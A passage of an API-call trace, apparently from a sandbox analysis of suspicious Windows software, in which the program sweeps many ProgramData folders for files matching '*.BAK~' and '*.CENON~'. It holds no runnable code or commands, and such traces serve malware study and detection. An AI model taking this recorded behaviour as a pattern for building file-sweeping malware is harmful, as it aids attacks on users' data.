| out: lpszLongPath="") returned 0x0 [0116.458] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.458] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.462] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae558 | out: lpFileSizeHigh=0x1ae558*=0x0) returned 0x7e148 [0116.481] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.481] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.482] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.482] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.488] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.488] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.489] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.489] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.495] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.496] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.497] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.497] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.747] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft Help\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.747] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.783] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft Help\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.783] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.823] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Mozilla\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.823] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.824] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Mozilla\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.825] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.839] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Mozilla\\logs\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.839] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.840] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Mozilla\\logs\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.840] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.846] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Oracle\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.846] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.847] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Oracle\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.847] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.857] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.857] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.858] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.858] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.865] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.865] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.866] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.866] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.873] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.873] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.874] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.874] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.881] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.882] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.883] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.883] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.889] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.889] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.890] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.891] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.897] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.897] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.898] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.898] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.906] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.906] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.907] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.907] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.913] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.914] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.915] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.915] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.921] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.922] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.924] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.924] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.930] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.930] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.931] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.931] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.938] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.938] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.939] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.939] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.947] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.948] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.949] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.949] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.955] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.955] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.956] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.957] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.963] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.964] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.965] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.965] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.972] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.972] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.973] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.974] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.981] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.981] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.982] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.982] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.989] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.989] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.990] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.991] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.997] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.997] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.998] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.998] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.005] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.006] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.007] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.007] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.014] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.015] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.016] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.016] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.022] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.023] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.024] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.024] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.031] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.031] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.032] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.032] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.039] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.039] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.041] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.041] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.048] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.048] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.049] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.050] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.058] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.058] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.059] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.059] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.067] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.067] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.068] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.069] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.076] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.076] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.078] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.078] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.085] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.085] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.087] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0117.087] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") 